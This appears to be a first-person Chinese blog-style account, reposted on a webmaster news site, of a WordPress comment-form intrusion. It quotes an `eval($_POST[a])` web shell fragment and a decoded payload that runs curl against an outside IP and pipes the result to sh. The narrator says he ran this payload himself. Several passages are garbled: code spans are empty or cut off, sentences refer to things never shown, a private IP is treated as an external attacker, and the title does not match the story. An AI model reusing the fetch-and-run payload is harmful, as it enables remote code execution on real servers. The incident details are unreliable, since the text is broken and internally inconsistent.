基于评论数据驱动的站长资讯架构优化

　　去年六月，凌晨三点十七分，我手机震了三下——不是短信，是那个钉钉小群的@全员，头像全黑着，消息框顶上飘着“已读1/12”。李工在群里甩了个截图：WAF日志里连续十七个IP打同一段base64，解出来是`eval($_POST[a])`，但POST体里根本没a字段。他标红了一句：`/wp-content/plugins/wp-discuz/`路径后面还跟了个`.php?x=1`，可插件目录压根不带PHP后缀。我回了个“等我连上去”，手还没碰键盘，王磊电话就来了：“哥，你那台dev-portal是不是挂了？刚扫到它往外发ICMP隧道包。”

　　我原以为是CDN层缓存污染，结果连上跳板机一查，nginx access_log里全是`GET /wp-comments-post.php HTTP/1.1`——带Referer，全指向我们自家站长资讯页的某篇《如何绕过Cloudflare验证码》。不是爬虫UA，是真实Chrome 124。更操蛋的是，这些请求里混着十八秒内七次不同UA打同一评论ID，POST body里`comment=`后面跟的不是文字，是嵌套三层的JSON，第三层key叫`__payload`，value是一串十六进制，decode出来刚好是`system("curl -s http://103.210.193.88/x | sh");`。这个我敢打包票，因为我在自己终端里逐字敲过两遍，第二遍时发现末尾少了个分号，执行失败了。可服务器上已经多出来一个`/tmp/.sysd`，大小三百七十二字节，`ls -la`看权限是`-rwxr-xr-x`，创建时间是六月三日凌晨两点零五分。

　　“基于评论数据驱动的站长资讯架构优化”——这话是市场部在立项会上拍出来的。当时张总监把PPT翻到第十七页，说“用户评论就是最真实的攻防情报”，底下CTO点头，安全组老赵啃着煎饼果子含糊应声。没人问一句：评论区的数据清洗链路里，有几处校验能拦住``标签混在emoji里提交？有几个人真去翻过discuz模板里的`wp_enqueue_script()`调用栈？我后来查到，那天夜里打进来那批流量，源头IP里有三个，和上个月被我们封掉的两个失陷主机IP段完全一致，其中`192.168.127.33`，我三个月前在蜜罐里见过，它往`/wp-admin/admin-ajax.php?action=wpuf_add_new_post`塞过` /dev/null 2>&1`。第一行是标准时间，第二行路径`/opt/cleanup/refresh.py`——这个目录我确认过不存在。但crontab没报错，说明脚本肯定在别的地方跑了。哪呢？我不知道。我也没查。明天得去趟机房，看看物理口有没有多出来的光纤跳线。要是没有……那就再等等吧。

（编辑：站长网）

【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!